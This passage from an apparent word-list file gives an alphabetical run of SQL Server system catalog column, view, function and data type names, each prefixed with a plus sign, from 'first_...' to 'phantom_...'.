+first_out_of_order_sequence +first_page +first_recovery_fork_guid +first_row +first_row_time +first_snapshot_sequence_num +firstupdatelsn +first_useful_sequence_num +fixed_drive_path +fixed_length +fkey +fkey1 +fkey10 +fkey11 +fkey12 +fkey13 +fkey14 +fkey15 +fkey16 +fkey2 +fkey3 +fkey4 +fkey5 +fkey6 +fkey7 +fkey8 +fkey9 +fkeydbid +fkeyid +flag_desc +flags +Flags +float +flush_interval_seconds +fn_builtin_permissions +fn_cColvEntries_80 +fn_cdc_check_parameters +fn_cdc_decrement_lsn +fn_cdc_get_column_ordinal +fn_cdc_get_max_lsn +fn_cdc_get_min_lsn +fn_cdc_has_column_changed +fn_cdc_hexstrtobin +fn_cdc_increment_lsn +fn_cdc_is_bit_set +fn_cdc_is_ddl_handling_enabled +fn_cdc_map_lsn_to_time +fn_cdc_map_time_to_lsn +fn_check_object_signatures +fn_column_store_row_groups +fn_db_backup_file_snapshots +fn_dblog +fn_dblog_xtp +fn_dbslog +fn_dump_dblog +fn_dump_dblog_xtp +fn_EnumCurrentPrincipals +fn_fIsColTracked +fn_full_dblog +fn_get_audit_file +fn_GetCurrentPrincipal +fn_getproviderstring +fn_GetRowsetIdFromRowDump +fn_getserverportfromproviderstring +fn_get_sql +fn_hadr_backup_is_preferred_replica +fn_hadr_distributed_ag_database_replica +fn_hadr_distributed_ag_replica +fn_hadr_is_primary_replica +fn_hadr_is_same_replica +fn_helpcollations +fn_helpdatatypemap +fn_IsBitSetInBitmask +fn_isrolemember +fn_listextendedproperty +fn_MapSchemaType +fn_MSdayasnumber +fn_MSgeneration_downloadonly +fn_MSget_dynamic_filter_login +fn_MSorbitmaps +fn_MSrepl_getsrvidfromdistdb +fn_MSrepl_map_resolver_clsid +fn_MStestbit +fn_MSvector_downloadonly +fn_MSxe_read_event_stream +fn_my_permissions +fn_numberOf1InBinaryAfterLoc +fn_numberOf1InVarBinary +fn_PageResCracker +fn_PhysLocCracker +fn_PhysLocFormatter +fn_repladjustcolumnmap +fn_repldecryptver4 +fn_replformatdatetime +fn_replgetcolidfrombitmap +fn_replgetparsedddlcmd +fn_repl_hash_binary +fn_replp2pversiontotranid +fn_replreplacesinglequote +fn_replreplacesinglequoteplusprotectstring +fn_repluniquename +fn_replvarbintoint +fn_RowDumpCracker +fn_servershareddrives +fn_sqlagent_job_history +fn_sqlagent_jobs +fn_sqlagent_jobsteps +fn_sqlagent_jobsteps_logs +fn_sqlagent_subsystems +fn_sqlvarbasetostr +fn_stmt_sql_handle_from_sql_stmt +fn_trace_geteventinfo +fn_trace_getfilterinfo +fn_trace_getinfo +fn_trace_gettable +fn_translate_permissions +fn_validate_plan_guide +fn_varbintohexstr +fn_varbintohexsubstring +fn_virtualfilestats +fn_virtualservernodes +fn_xcs_get_file_rowcount +fn_xe_file_target_read_file +fn_yukonsecuritymodelrequired +forced_grant_count +forced_yield_count +force_failure_count +foreign_committed_kb +foreign_key_columns +foreign_keys +forkeys +forkguid +forkid +forklsn +fork_point_lsn +forkvc +format_type +forwarded_fetch_count +forwarded_record_count +fp2p_pub_exists +fprocessingtext +fPubAllowUpdate +fragid +fragment_bitmap +fragment_count +fragment_id +fragment_object_id +fragment_size +fragobjid +frame_address +frame_index +free_bytes +free_bytes_offset +free_entries_count +free_ref_slot_occupied +free_space_in_bytes +free_worker_count +frequency_check_ticks +frequent +friendly_name +frombrkrinst +from_broker_instance +from_object_id +from_service_name +fromsvc +fsinfo_address +ftcatid +full_block_only +full_filesystem_path +full_incremental_population_count +fulltext_catalog_id +fulltext_catalogs +fulltext_document_types +fulltext_index_catalog_usages +fulltext_index_columns +fulltext_indexes +fulltext_index_fragments +fulltext_index_page_count +fulltext_languages +fulltext_semantic_languages +fulltext_semantic_language_statistics_database +fulltext_stoplists +fulltext_stopwords +fulltext_system_stopwords +function_id +function_order_columns +future_allocations_kb +future_interest +gam_page_id +gam_status +gam_status_desc +generated_always_type +generated_always_type_desc +generate_time +generation +generation_id +geography +GeographyCollectionAggregate +GeographyConvexHullAggregate +GeographyEnvelopeAggregate +GeographyUnionAggregate +geometry +GeometryCollectionAggregate +GeometryConvexHullAggregate +GeometryEnvelopeAggregate +GeometryUnionAggregate +ghost_rec_count +ghost_record_count +ghost_version_inrow +ghost_version_offrow +gid +gq_address +granted_memory_kb +granted_query_memory +grantee +GRANTEE +grantee_count +grantee_principal_id +grantor +GRANTOR +grantor_principal_id +grant_time +graph_type +graph_type_desc +group_database_id +group_handle +group_id +groupid +GroupID +group_max_requests +group_name +groupname +groupuid +growth +grpid +guid +GUID +guid_identifier +handle +Handle +handle_context_address +handle_count +handle_id +hardened_recovery_lsn +hardened_root_file_guid +hardened_root_file_watermark +hardened_truncation_lsn +hardware_generation +hasaccess +has_checksum +has_crawl_completed +hasdbaccess +has_default +has_default_value +has_filter +has_ghost_records +hash +hash_bucket_count +hash_column_ordinal +hashed_trans +hash_hits +hash_hit_total_search_length +hash_indexes +hash_key +hash_misses +hash_miss_total_search_length +has_integrity_stream +has_long_running_target +has_nulls +has_opaque_metadata +has_persisted_sample +has_replication_filter +has_restricted_text +has_snapshot +has_unchecked_assembly_data +has_version_records +has_vertipaq_optimization +hbcolid +hdrpartlen +hdrseclen +header_limit +health_check_timeout +HealthCheckTimeout +health_error_message +health_status +heart_beat +hidden_column +hierarchyid +high +high_weight_cache_buffer_count +hints +history +history_retention_period +history_retention_period_unit +history_retention_period_unit_desc +history_table_id +hits_count +hobt_id +hops_remaining +host_address +host_architecture +host_distribution +host_name +hostname +HostName +host_platform +hostprocess +host_process_id +host_release +host_service_pack_level +host_sku +host_task_address +host_to_device_bytes +hr_batch +http_endpoints +hyperthread_ratio +id +ideal_memory_kb +ideal_workers_limit +identity +identity_columns +idle +idle_attempts_count +idle_scheduler_count +idle_sessions +idle_switches_count +idle_time_cs +idle_worker_count +idmajor +idminor +idSch +idtval +ignore_dup_key +image +imageval +impid +importance +iname +inbound_session_key_identifier +incarnation_id +included_columns +incomplete +incomplete_cache_buffer +increment +INCREMENT +incremental_timestamp +increment_value +incurs_seek_penalty +indepclass +indepdb +indepid +indepname +indepschema +indepserver +indepsubid +index_column_id +index_columns +indexdel +index_depth +indexes +index_group_handle +index_handle +index_id +indexid +IndexID +index_level +index_lock_promotion_attempt_count +index_lock_promotion_count +index_resumable_operations +index_scan_count +index_type_desc +indid +inequality_columns +info +information_type +information_type_id +initial_compile_start_time +INITIALLY_DEFERRED +initiator +inline_type +in_progress +input_groupby_row_count +input_name +input_options +in_row_data_page_count +inrow_diff_version_record_count +InRowLength +in_row_reserved_page_count +in_row_used_page_count +inrow_version_record_count +insert_over_ghost_version_inrow +insert_over_ghost_version_offrow +inseskey +inseskeyid +install_failures +instance_id +instance_name +instance_pipe_name +instant_file_initialization_enabled +instrig +instruction_address +int +IntegerData +IntegerData2 +interface +internal_benefit +internal_bit_position +internal_error_code +internal_freed_kb +internal_null_bit +internal_object_reserved_page_count +internal_objects_alloc_page_count +internal_objects_dealloc_page_count +internal_object_type +internal_object_type_desc +internal_offset +internal_pages +internal_partitions +internal_state_desc +internalstatus +internal_storage_slot +internal_tables +internal_type +internal_type_desc +interrupt_cnt +interval_length_minutes +INTERVAL_PRECISION +INTERVAL_TYPE +int_identifier +intprop +intPublicationOptions +in_use_count +io_busy +io_bytes_read +io_bytes_written +io_completion_request_address +io_completion_routine_address +io_completion_worker_address +io_handle +io_handle_path +io_issue_ahead_total_ms +io_issue_delay_non_throttled_total_ms +io_issue_delay_total_ms +io_issue_violations_total +io_offset +io_pending +io_pending_ms_ticks +io_read_bytes +io_read_operations +ios_in_progess +io_stall +IoStallMS +io_stall_queued_read_ms +io_stall_queued_write_ms +io_stall_read_ms +IoStallReadMS +io_stall_write_ms +IoStallWriteMS +io_time_ms +io_type +io_user_data_address +iowait_time_cs +io_wait_time_in_ms +io_write_bytes +io_write_operations +ip_address +ip_configuration_string_from_cluster +ipipename +ip_subnet_mask +irp_id +irq_time_cs +is_abstract +is_accelerated_database_recovery_on +is_accent_sensitivity_on +is_accept +is_activation_enabled +is_active +is_active_for_begin_dialog +is_admin_endpoint +is_advanced +isaliased +is_all_columns_found +is_allocated +is_ambiguous +is_anonymous_enabled +is_anonymous_on +is_ansi_null_default_on +is_ansi_nulls_on +is_ansi_padded +is_ansi_padding_on +is_ansi_warnings_on +is_anti_matter +isapprole +is_arithabort_on +is_assembly_type +is_async_population +is_auto +is_auto_cleanup_on +is_auto_close_on +is_auto_create_stats_incremental_on +is_auto_create_stats_on +is_auto_executed +is_autogrow_all_files +is_auto_shrink_on +is_auto_update_stats_async_on +is_auto_update_stats_on +is_available +is_basic_auth_enabled +is_binary_ordered +is_bound +is_boundedupdate_singleton +is_broker_enabled +is_cached +is_cache_key +is_caller_dependent +is_case_sensitive +is_cdc_enabled +is_cleanly_shutdown +is_clear_port_enabled +is_close_on_commit +is_clouddb_internal_query +is_clustered +is_clustered_index_scan +is_cluster_shared_volume +is_collation_compatible +is_column_permission +is_column_set +is_columnstore +is_commit_participant +is_compressed +is_compression_enabled +is_computed +iscomputed +is_computed_column +is_concat_null_yields_null_on +is_configured +is_conformant +is_contained +is_conversation_error +is_currently_dst +is_current_owner +is_cursor_close_on_commit_on +is_cursor_ref +is_cycling +is_damaged +is_data_access_enabled +is_database_joined +is_data_deletion_filter_column +is_data_retention_enabled +is_data_row_format +is_date_correlation_on +is_date_correlation_view +is_db_chaining_on +is_default +is_default_fixed +is_default_uri +IS_DEFERRABLE +is_delayed_durability +is_descending +is_descending_key +IS_DETERMINISTIC +is_dhcp +is_digest_auth_enabled +is_directory +is_dirty +is_disabled +is_distributed +is_distributed_network_name +is_distributor +is_dropped +is_dts_replicated +is_dynamic +is_dynamic_port +is_edge +is_emergent_mem +is_enabled +is_encrypted +is_encryption_enabled +is_end_of_dialog +is_enforced +is_enlisted +is_enqueue_enabled +is_event_logged +is_executable_action +is_execution_replicated +is_exhausted +is_expiration_checked +is_extension_blocked +is_external +is_failover_ready +is_fatal_exception +is_federation_member +is_fiber +is_filestream +is_filetable +is_filterable +is_final_extension +is_final_list_member +is_final_restriction +is_final_union_member +is_first +is_fixed +is_fixed_length +is_fixed_length_clr_type +is_fixed_role +is_forced_plan +is_free +is_fulltext_enabled +IS_GRANTABLE +is_group +is_hadron_consumed +is_hidden +is_honor_broker_priority_on +is_hypothetical +is_iam_page +is_identity +is_identity_column +is_idle +is_ignored_in_optimization +is_impersonating +IS_IMPLICITLY_INVOCABLE +is_importing +is_in_bpool_extension +is_in_cc_exception +is_included_column +is_incomplete +is_incremental +is_initiator +is_inlineable +is_in_polling_io_completion_routine +is_input +IsInrow +is_insert_all +is_inside_catch +is_installed +is_in_standby +is_instead_of_trigger +is_integrated_auth_enabled +is_internal_query +is_ipv4 +is_kerberos_auth_enabled +is_key +is_known_cdc_tran +is_last +is_linked +is_local +is_local_cursor_default +is_logged_for_replication +islogin +is_log_read_ahead +is_masked +is_master_key_encrypted_by_server +is_media_read_only +is_memory_optimized +is_memory_optimized_elevate_to_snapshot_on +is_memory_optimized_enabled +is_merge_published +is_message_forwarding_enabled +is_migration_paused +is_mixed_extent +is_mixed_page_allocation +is_mixed_page_allocation_on +is_modified +is_ms_shipped +is_name_reserved +is_natively_compiled +is_nested_triggers_on +is_next_candidate +is_nillable +is_node +is_non_sql_subscribed +is_nonsql_subscriber +is_not_for_replication +is_not_trusted +is_not_versioned +isntgroup +is_ntlm_auth_enabled +isntname +isntuser +is_nullable +isnullable +IS_NULLABLE +IS_NULL_CALL +is_numeric_roundabort_on +iso_level +is_online +is_online_index_plan +is_open +is_operator_audit +is_orphaned +isoutparam +is_output +is_padded +is_page_compressed +is_parallel_plan +is_parameterization_forced +is_part_of_encrypted_module +is_part_of_unique_key +is_passive +is_paused +is_pending_secondary_suspend +is_percent_growth +is_persisted +is_persistent_log_buffer +is_pit +is_poison_message_handling_enabled +is_policy_checked +is_preemptive +is_prepared +is_primary_key +is_primary_replica +is_public +is_published +is_publisher +is_pushed +is_qualified +is_query_store_on +is_quoted_identifier_on +is_rda_server +is_read_committed_snapshot_on +is_read_only +is_readonly +is_receive_enabled +is_receive_flow_controlled +is_recompiled +is_reconciled +is_reconfiguration_pending +IsRecordPrefixCompressed +is_recursive_triggers_on +isremote +is_remote_data_archive_enabled +is_remote_login_enabled +is_remote_proc_transaction_promotion_enabled +is_remote_task +is_repeatable +is_repeated_base +is_replay_consumed +is_repl_consumed +is_replicated +is_replication_specific +is_repl_serializable_only +is_restriction_blocked +IS_RESULT +is_result_set_caching_on +is_resumable +is_retention_enabled +is_retry +is_retry_batch +is_revertable_action +is_rollover +is_rowguidcol +is_rowset +is_rpc_out_enabled +is_schema_bound +is_schema_bound_reference +is_schema_published +is_select_all +is_selected +is_send_flow_controlled +is_sent_by_initiator +is_sent_by_target +is_sereplicated +is_session_context_enabled +is_session_enabled +is_shutdown +is_sick +is_signature_valid +is_signed +is_singleton +is_small +is_snapshot +is_source +is_sparse +IsSparse +is_sparse_column_set +is_speculative +is_sql_language_enabled +issqlrole +issqluser +is_ssl_port_enabled +is_stale_page_detection_on +is_state_enabled +is_subscribed +is_subscriber +is_substitution_blocked +issuer +issuer_name +is_supplemental_logging_enabled +is_suspended +is_suspended_sequence_number +IsSymbol +is_synchronized +is_sync_tran_subscribed +is_sync_with_backup +is_system +IsSystem +is_system_named +is_table_type +is_tempdb_spill_to_remote_store +is_temporal_history_retention_enabled +is_temporary +is_track_columns_updated_on +is_tracked_by_cdc +is_tran_consumed +is_transactional +is_transform_noise_words_on +is_trigger_event +is_trivial_plan +is_trustworthy_on +is_txn_owner +is_unique +is_unique_constraint +is_uniqueifier +IS_UPDATABLE +is_updateable +is_updated +is_user_defined +IS_USER_DEFINED_CAST +is_user_process +is_user_transaction +is_value_default +is_visible +is_waiting_on_loader_lock +is_xml_charset_enforced +is_xml_document +is_xquery_max_length_inferred +is_xquery_type_inferred +itemcnt +item_id +item_name +items_processed +job_id +job_tracker_location +join_state +join_state_desc +kernel_nonpaged_pool_kb +kernel_paged_pool_kb +kernel_time +key_algorithm +keycnt +KEY_COLUMN_USAGE +key_constraints +key_encryptions +key_guid +key_id +key_index_id +key_length +key_merge_count +key_merge_retry_count +key_name +keyno +key_ordinal +key_path +keyphrase_index_page_count +keys +key_split_count +key_split_retry_count +key_store_provider_name +key_thumbprint +key_type +keyword +kind +kind_desc +kpid +label +label_id +lang +langid +language +language_id +large_buffer_size +large_page_allocations_kb +largest_event_dropped_size +large_value_types_out_of_row +last_access +last_access_time +last_activated_time +last_active_time +last_activity_time +LAST_ALTERED +last_batch +last_bind_cpu_time +last_bind_duration +last_closed_checkpoint_ts +last_clr_time +last_columnstore_segment_reads +last_columnstore_segment_skips +last_commit_cdc_lsn +last_commit_cdc_time +last_commit_lsn +last_commit_time +last_compile_batch_offset_end +last_compile_batch_offset_start +last_compile_batch_sql_handle +last_compile_duration +last_compile_memory_kb +last_compile_start_time +last_connect_error_description +last_connect_error_number +last_connect_error_timestamp +last_cpu_time +last_dop +last_duration +last_elapsed_time +last_empty_rowset_time +last_end_lsn +last_error +last_event_time +last_execution_time +last_force_failure_reason +last_force_failure_reason_desc +last_grant_kb +last_hardened_lsn +last_hardened_time +last_id +last_ideal_grant_kb +last_log_backup_lsn +last_log_block_id +last_log_bytes_used +last_logical_io_reads +last_logical_io_writes +last_logical_reads +last_logical_writes +last_lsn +last_lsn_processed +last_max_dop_used +last_modified +last_modified_date +last_notification +last_num_page_server_reads +last_num_physical_io_reads +last_num_physical_reads +lastoorder +lastoorderfr +last_operation +last_optimize_cpu_time +last_optimize_duration +last_out_of_order_frag +last_out_of_order_sequence +last_page_server_io_reads +last_page_server_reads +last_parameterization_failure_reason +last_parse_cpu_time +last_parse_duration +last_pause_time +last_physical_io_reads +last_physical_reads +lastpkeybackup +last_query_hint_failure_reason +last_query_hint_failure_reason_desc +last_query_max_used_memory +last_query_wait_time_ms +last_read +lastreads +last_received_lsn +last_received_time +last_recovery_fork_guid +last_redone_lsn +last_redone_time +last_refresh +last_request_end_time +last_request_start_time +last_reserved_threads +last_round_start_time +last_rowcount +last_rows +last_row_time +lastrun +last_run_date +last_run_duration +last_run_outcome +last_run_retries +last_run_time +last_segment_lsn +last_send_tran_id +last_sent_lsn +last_sent_time +last_service_ticks +last_spills +last_sql_handle +last_startup_time +last_statement_end_offset +last_statement_sql_handle +last_statement_start_offset +last_successful_logon +last_system_lookup +last_system_scan +last_system_seek +last_system_update +last_tempdb_space_used +last_tick_time +lasttime +last_timer_activity +last_transaction_sequence_num +last_unsuccessful_logon +last_updated +last_updated_checkpoint_id +lastupdatelsn +last_update_time +last_used_grant_kb +last_used_threads +last_used_value +last_user_lookup +last_user_scan +last_user_seek +last_user_update +last_valid_restore_time +last_value +last_wait_type +lastwaittype +last_worker_time +last_write +lastwrites +last_write_time +latch_class +latency +lazy_schema_validation +lazyschemavalidation +lcid +leaf_allocation_count +leaf_bit_position +leaf_delete_count +leaf_ghost_count +leaf_insert_count +leaf_null_bit +leaf_offset +leaf_page_merge_count +leaf_pages +leaf_update_count +ledger_type +ledger_type_desc +ledger_view_id +ledger_view_type +ledger_view_type_desc +left_boundary +length +level +level_1_grid +level_1_grid_desc +level_2_grid +level_2_grid_desc +level_3_grid +level_3_grid_desc +level_4_grid +level_4_grid_desc +lgfgid +lgnid +lifetime +line_num +LineNumber +linked_logins +LinkedServerName +listener_id +lname +loadavg_1min +load_factor +load_time +lob_data_space_id +lobds +lob_fetch_in_bytes +lob_fetch_in_pages +lob_logical_read_count +lob_orphan_create_count +lob_orphan_insert_count +lob_page_server_read_ahead_count +lob_page_server_read_count +lob_physical_read_count +lob_read_ahead_count +lob_reserved_page_count +lob_used_page_count +local_database_id +local_database_name +locale +local_net_address +local_node +local_physical_seeding_id +local_principal_id +local_service_id +local_tcp_port +location +location_type +locked_page_allocations_kb +lock_escalation +lock_escalation_desc +lockflags +lock_on_bulk_load +lock_owner_address +lock_requestor_id +lockres +lock_timeout +lock_type +log_backup_lsn +log_backup_time +LogBlockGeneration +log_block_id +log_bytes_required +log_bytes_since_last_close +log_bytes_written +log_checkpoint_lsn +log_consumer_count +log_consumer_deleting +log_consumer_id_seed +log_consumer_ref_counter +log_consumption_deactivated +log_consumption_rate +log_end_lsn +log_filegroup_id +log_file_name +log_file_path +logical_database_id +logical_db_name +logical_device_name +logical_name +logical_operator +logical_path +logical_read_count +logical_reads +logical_row_count +logical_volume_name +log_id +loginame +login_id +login_name +loginname +LoginName +login_sid +loginsid +LoginSid +login_state +login_state_desc +login_time +login_token +login_type +log_IO_count +log_min_lsn +log_name +logpoolmgr_count +logpoolmgr_deleting +logpoolmgr_ref_counter +log_record_count +log_recovery_lsn +log_recovery_size_mb +log_reuse_wait +log_reuse_wait_desc +log_send_queue_size +log_send_rate +logshippingid +log_since_last_checkpoint_mb +log_since_last_log_backup_mb +log_source +log_space_in_bytes_since_last_backup +log_state +log_text +log_truncation_holdup_reason +lookaside_id +lost_events_count +low +lower_bound_tsn +low_mem_signal_threshold_mb +low_water_mark_for_ghosts +low_weight_cache_buffer_count +lsid +lsn +lstart +magnitude +major_id +major_num +major_version +manager_id +manager_role +manual_population_count +manufacturer +map_key +mapping_id +map_progress +map_value +masked_columns +masking_function +master_files +master_key_passwords +MATCH_OPTION +max_buffer_limit +max_chain_length +max_cleanup_version +max_clr_time +max_cmds_in_tran +max_column_id_used +max_columnstore_segment_reads +max_columnstore_segment_skips +max_compile_memory_kb +maxconn +max_count +max_cpu_percent +max_cpu_time +max_csn +max_data_id +max_deep_data +max_dispatch_latency +max_dop +max_duration +MAX_DYNAMIC_RESULT_SETS +max_elapsed_time +max_event_size +maxexectime +max_files +max_file_size +max_free_entries_count +max_grant_kb +max_ideal_grant_kb +maximum +MAXIMUM_CARDINALITY +maximum_queue_depth +maximum_value +MAXIMUM_VALUE +maxinrow +maxinrowlen +max_inrow_length +maxint +max_internal_length +max_iops_per_volume +maxirow +maxleaf +max_leaf_length +maxlen +max_length +max_log_bytes_used +max_logical_io_reads +max_logical_io_writes +max_logical_reads +max_logical_writes +max_memory +max_memory_kb +max_memory_percent +maxnullbit +max_null_bit_used +max_num_page_server_reads +max_num_physical_io_reads +max_num_physical_reads +maxoccur +max_occurences +max_outstanding_io_per_volume +max_overlap +max_page_server_io_reads +max_page_server_reads +max_pages_in_bytes +max_physical_io_reads +max_physical_reads +max_plans_per_query +max_processes +max_quantum +max_query_max_used_memory +max_query_wait_time_ms +max_readers +max_record_size_in_bytes +max_request_cpu_time_ms +max_request_grant_memory_kb +max_reserved_threads +max_rollover_files +max_rowcount +max_rows +max_size +maxsize +max_sizeclass +max_spills +max_storage_size_mb +max_target_memory_kb +max_tempdb_space_used +max_thread +max_thread_proxies +max_time +max_used_grant_kb +max_used_memory_kb +max_used_threads +max_used_worker_count +max_version_chain_traversed +max_wait_time +max_wait_time_ms +max_worker_count +max_workers_count +max_worker_threads +max_worker_time +mdversion +media_family_id +media_sequence_number +media_set_guid +media_set_name +member_name +member_principal_id +member_state +member_state_desc +member_type +member_type_desc +memberuid +memgrant_waiter_count +memory_address +memory_allocated_for_indexes_kb +memory_allocated_for_table_kb +memory_allocation_address +memory_broker_type +memory_clerk_address +memory_consumer_address +memory_consumer_desc +memory_consumer_id +memory_consumer_type +memory_consumer_type_desc +memory_limit_mb +memory_node_id +memory_object_address +memory_optimized_tables_internal_attributes +memory_partition_mode +memory_partition_mode_desc +memory_pool_address +memory_usage +memory_used_by_indexes_kb +memory_used_by_table_kb +memory_used_in_bytes +memory_utilization_percentage +memregion_memory_address +mem_status +mem_status_stamp +memusage +merge_action_type +merge_outstanding_merges +merge_stats_bytes_merged +merge_stats_kernel_time +merge_stats_log_blocks_merged +merge_stats_number_of_merges +merge_stats_user_time +message +message_body +message_enqueue_time +message_forwarding_size +message_fragment_number +message_id +messages +message_sequence_number +message_type_id +message_type_name +message_type_xml_schema_collection_usages +metadata_offset +metadata_size +method_alias +MethodName +migrated_rows +migration_direction +migration_direction_desc +min_active_bsn +min_buffer_limit +min_clr_time +min_columnstore_segment_reads +min_columnstore_segment_skips +min_cpu_percent +min_cpu_time +min_data_id +min_deep_data +min_dop +min_duration +min_elapsed_time +min_grant_kb +min_ideal_grant_kb +minimum +minimum_value +MINIMUM_VALUE +minint +min_internal_length +min_iops_per_volume +minleaf +min_leaf_length +min_len +minlen +min_length_in_bytes +min_log_bytes_used +min_logical_io_reads +min_logical_io_writes +min_logical_reads +min_logical_writes +min_memory_percent +min_num_page_server_reads +min_num_physical_io_reads +min_num_physical_reads +minoccur +min_occurences +minor_id +minor_num +minor_version +min_page_server_io_reads +min_page_server_reads +min_percentage_resource +min_physical_io_reads +min_physical_reads +min_query_max_used_memory +min_query_wait_time_ms +min_record_size_in_bytes +min_reserved_threads +min_rowcount +min_rows +min_sizeclass +min_spills +min_tempdb_space_used +min_time +min_transaction_timestamp +min_used_grant_kb +min_used_threads +min_valid_version +min_worker_time +min_xact_begin_age +miraddr +mirror_address +mirroring_connection_timeout +mirroring_end_of_log_lsn +mirroring_failover_lsn +mirroring_guid +mirroring_partner_instance +mirroring_partner_name +mirroring_redo_queue +mirroring_redo_queue_type +mirroring_replication_lsn +mirroring_role +mirroring_role_desc +mirroring_role_sequence +mirroring_safety_level +mirroring_safety_level_desc +mirroring_safety_sequence +mirroring_state +mirroring_state_desc +mirroring_witness_name +mirroring_witness_state +mirroring_witness_state_desc +mirror_server_name +misses_count +mixed_extent_page_count +ml_map_page_id +ml_status +ml_status_desc +modate +mode +Mode +model +modification_counter +modification_time +modified +modified_count +modified_extent_page_count +modify_date +modify_time +module +module_address +module_assembly_usages +MODULE_CATALOG +module_guid +MODULE_NAME +MODULE_SCHEMA +money +months +most_recent_session_id +most_recent_sql_handle +mount_expiration_time +mount_request_time +mount_request_type +mount_request_type_desc +movement_key +movement_type +movement_type_desc +msgbody +msgbodylen +msgenc +msgid +msglangid +msgnum +msgref +msgseqnum +msgtype +msqlxact_address +MSreplication_options +ms_ticks +must_be_qualified +name +nameid +namespace +namespace_document_id +nchar +nest_aborted +nested_id +nest_level +NestLevel +net_address +net_library +net_packet_size +net_transport +network_subnet_ip +network_subnet_ipv4_mask +network_subnet_prefix_length +NewAllocUnitId +new_log_interesting +new_log_wait_time_in_ms +newrow_data +newrow_datasize +newrow_identity +nextdocid +next_fragment +next_page_file_id +next_page_page_id +next_read_ahead_lsn +next_sibling +nice_time_cs +nid +nmscope +nmspace +node_affinity +node_id +node_name +NodeName +node_state_desc +nonleaf_allocation_count +nonleaf_delete_count +nonleaf_insert_count +nonleaf_page_merge_count +nonleaf_update_count +non_sos_mem_gap_mb +nonsqlsub +non_transacted_access +non_transacted_access_desc +no_recompute +notify_level_eventlog +nsclass +nsid +nt_domain +NTDomainName +ntext +nt_user_name +nt_username +NTUserName +nullbit +null_on_null_input +null_value +null_values +numa_node +numa_node_count +number +numbered_procedure_parameters +numbered_procedures +number_of_attempts +number_of_quorum_votes +NumberReads +NumberWrites +num_capture_threads +numcol +num_databases +numeric +NUMERIC_PRECISION +NUMERIC_PRECISION_RADIX +NUMERIC_SCALE +num_hadr_threads +num_of_bytes_read +num_of_bytes_written +num_of_reads +num_of_writes +num_openxml_calls +num_parallel_redo_threads +numpart +num_pk_cols +num_reads +num_redo_threads +num_writes +nvarchar +object_address +object_id +objectid +ObjectID +object_id1 +object_id2 +ObjectID2 +object_id3 +object_id4 +object_load_time +object_name +ObjectName +object_package_guid +object_ref_count +objects +object_type +ObjectType +object_type_desc +objid +objname +objtype +occurrence +occurrence_count +occurrences +offline_age +offrow_long_term_version_record_count +offrow_regular_version_record_count +offrow_version_cleaner_end_time +offrow_version_cleaner_start_time +offset +Offset +oldest_aborted_transaction_id +oldest_active_lsn +oldest_active_transaction_id +oldrow_begin_timestamp +oldrow_identity +oldrow_key_data +oldrow_key_datasize +on_disk_size +on_fail_action +on_fail_step_id +on_failure +on_failure_desc +online_index_min_transaction_timestamp +online_index_version_store_size_kb +online_scheduler_count +online_scheduler_mask +on_success_action +on_success_step_id +opened_date +opened_file_name +openkeys +open_resultset_count +open_status +openTape +open_time +open_tran +open_transaction_count +operation +Operation +operational_state +operational_state_desc +operation_desc +operation_id +operation_name +operation_type +operator_id_emailed +operator_id_paged +op_history +optimize_for_sequential_key +optimizer_hint +optname +ord +order_by_is_descending +order_by_list_length +order_column_id +order_direction +order_position +ordinal +ordinal_in_order_by_list +ordinal_position +ORDINAL_POSITION +ordkey +ordlock +orig_db +orig_db_len_in_bytes +OrigFillFactor +original_cost +original_document_size_bytes +original_login_name +original_namespace_document_size_bytes +original_security_id +originator +originator_len_in_bytes +ORMask +os_error_mode +os_language_version +os_priority_class +OS_process_creation_date +OS_process_id +os_quantum +os_run_priority +os_thread_id +outbound_session_key_identifier +outcome +out_of_memory_count +output_file_name +output_options +outseskey +outseskeyid +outstanding_batch_count +outstanding_checkpoint_count +outstanding_read +outstanding_retired_nodes +overall_limit_kb +overall_quality +ownerid +OwnerID +OwnerName +owner_sid +ownertype +owning_principal_id +owning_principal_name +owning_principal_sid +owning_principal_sid_binary +package +package_guid +package_name +pack_errors +pack_received +pack_sent +page_allocator_address +page_class +page_compression_attempt_count +page_compression_success_count +page_consolidation_count +page_consolidation_retry_count +page_count +page_fault_count +page_file_bytes +page_file_bytes_peak +page_flag_bits +page_flag_bits_desc +page_free_space_percent +page_header_version +page_id +page_io_latch_wait_count +page_io_latch_wait_in_ms +page_latch_wait_count +page_latch_wait_in_ms +page_level +page_lock_count +page_lock_wait_count +page_lock_wait_in_ms +page_lsn +page_merge_count +page_merge_retry_count +page_resource +page_server_read_ahead_count +page_server_read_count +page_server_reads +pages_in_bytes +pages_in_use_kb +page_size_in_bytes +pages_kb +page_split_count +page_split_retry_count +page_status +pagesused +page_type +page_type_desc +page_type_flag_bits +page_type_flag_bits_desc +page_update_count +page_update_retry_count +page_verify_option +page_verify_option_desc +parallel_assist_count +parallel_worker_count +parameter_id +parameterization_failure_count +PARAMETER_MODE +PARAMETER_NAME +parameters +PARAMETERS +PARAMETER_STYLE +parameter_type_usages +parameter_xml_schema_collection_usages +param_id +param_int_value +paramorhinttext +param_str_value +param_type +parent_address +parent_class +parent_class_desc +parent_column_id +parent_connection_id +parent_covering_permission_name +parent_directory +parent_directory_exists +parent_id +parent_memory_address +parent_memory_broker_type +parent_minor_id +ParentName +parent_node_id +parent_obj +parent_object_id +parent_plan_handle +parent_requestor_id +parent_task_address +parent_type +parser_version +partid +partition_column_guid +partition_column_id +partition_column_ordinal +partition_count +partition_functions +partition_id +PartitionId +partition_number +partition_ordinal +partition_parameters +partition_range_values +partitions +partition_scheme_id +partition_schemes +partition_type +partition_type_desc +part_key_name +part_key_val +partner_sync_state +partner_sync_state_desc +password +password_hash +patched +path +path_id +path_name +path_type +path_type_desc +pcdata +pcitee +pclass +pcreserved +pcused +pdw_node_id +peak_job_memory_used_mb +peak_memory_kb +peak_process_memory_used_mb +peer_arbitration_id +peer_certificate_id +pending_buffers +pending_disk_io_count +pending_io_byte_average +pending_io_byte_count +pending_io_count +percent_complete +percent_used +perf +performance_counters_address +performed_seeding +periodic_freed_kb +periods +period_type +period_type_desc +permanent_task_affinity_mask +permission_bitmask +permission_name +Permissions +permission_set +permission_set_desc +persisted_age +persisted_sample_percent +persistence_status +persistent_only +persistent_version_store +persistent_version_store_long_term +persistent_version_store_size_kb +pfs_alloc_percent +pfs_is_allocated +pfs_page_id +pfs_status +pfs_status_desc +pgfirst +pgfirstiam +pgmodctr +pgroot +phantom_expired_removed_rows_encountered +phantom_expired_rows_removed +phantom_expiring_rows_encountered +phantom_rows_expired +phantom_rows_expired_removed 